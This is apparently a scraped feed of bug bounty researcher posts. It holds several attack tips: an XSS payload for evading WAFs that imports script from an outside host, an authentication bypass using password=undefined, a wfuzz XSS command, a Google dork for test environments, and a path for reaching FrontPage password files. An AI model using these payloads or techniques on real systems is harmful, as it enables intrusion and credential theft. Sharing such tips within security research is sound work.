Lulzcart

Systems Analyst - Cybersecurity Researcher BugHunter from HackerOne

[Lulzcart @uyhacked]

@q1uf3ng 666

[Lulzcart @uyhacked]

@yvbbrjdr @xai @MicrosoftAI 太吊了

[Lulzcart @uyhacked]

@q1uf3ng Boss正常哈哈哈，我已投1.5k家了😅

[Lulzcart @uyhacked]

@q1uf3ng 666

[Moblig @moblig_]

Yay, I was awarded a $15,000 bounty on @Hacker0x01!

The program was running a 3x campaign and had an average of 0% critical vulnerabilities.

An unusual combination of persistent tokens and good ol' Google Dorking. I will be doing a write-up for this one when it is resolved, and will also be disclosing my most interesting reports here, so drop a follow :) 👇
https://t.co/NroAeb52cj

#bugbountytips #bugbounty #CyberSecurity

[Hirokr @hir0k1sawada]

#BugBounty
https://t.co/iAFfDzWl7y

[Vikas Anil Sharma @VikzSharma]

FFUF Web Parser - created this quick dirty web-based ffuf fuzzing results parser.

https://t.co/vKIytV5Ijb

[ahhhhfs @abskoop]

文颜：全自动的Markdown文章排版美化工具

可以将Markdown格式的文章快速转换为

适合微信公众号、今日头条、知乎、掘金等平台的排版格式

👉https://t.co/pRuvAf8hBO

[Lulzcart @uyhacked]

@JackuXL_ 恭喜恭喜

[Lulzcart @uyhacked]

@Southseast 恭喜恭喜

[Brute @BRuteLogic]

One #XSS Payload to Rule Them All

#Bypass Akamai, Imperva and CloudFlare #WAF

<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>

#hack2learn @KN0X55

[🇪🇨🍫 @bxmbn]

What is this 😭

username=bombon&password=undefined

200 OK

username=AnyUser&password=undefined

200 Ok

It gives you the access token just by providing the username and requesting the password as ‘undefined’ letting you to basically authenticate to any account..

[1ue @1ue1166323]

[CVE-2024-21096] mysqldump rce : ) learn form defcon32

[Claes Spett (.PrØÐiGy) @J3rge]

Work work

[HackerAI @PentestGPT]

PentestGPT now has access to a Terminal!

[./Mr-Dark @Mr_Dark55]

It doesn't work in all cases, but I discovered correct xss several times
You can add a PHPSESSID to maintain the session

wfuzz -c -z file,/payloads/xss.txt -H "User-Agent: Mozilla/5.0" -b "PHPSESSID=your-session-id" --hl 0 "https://www.example.omc&search=FUZZ"

[Mike Takahashi @TakSec]

Google Dork - Test Environments 👀

site:example[.]com inurl:test | inurl:env | inurl:dev | inurl:staging | inurl:sandbox | inurl:debug | inurl:temp | inurl:internal | inurl:demo

Find forgotten endpoints 🎯

[Cybernetic Research @cybernetic_res]

Add '/_vti_pvt/service.pwd' to the wordlist, and maybe you will get juicy data.

By:@NoRed0x

#bugbountytips #BugBounty

[Vivek Kashyap @starkcharry]

How to find P2,P3,P4 ? @Bugcrowd !

[H4x0r.DZ @h4x0r_dz]

CVE-2024-42005 Django SQL injection vulnerability in QuerySet.values() and values_list() methods
https://t.co/TV1vntN4Lm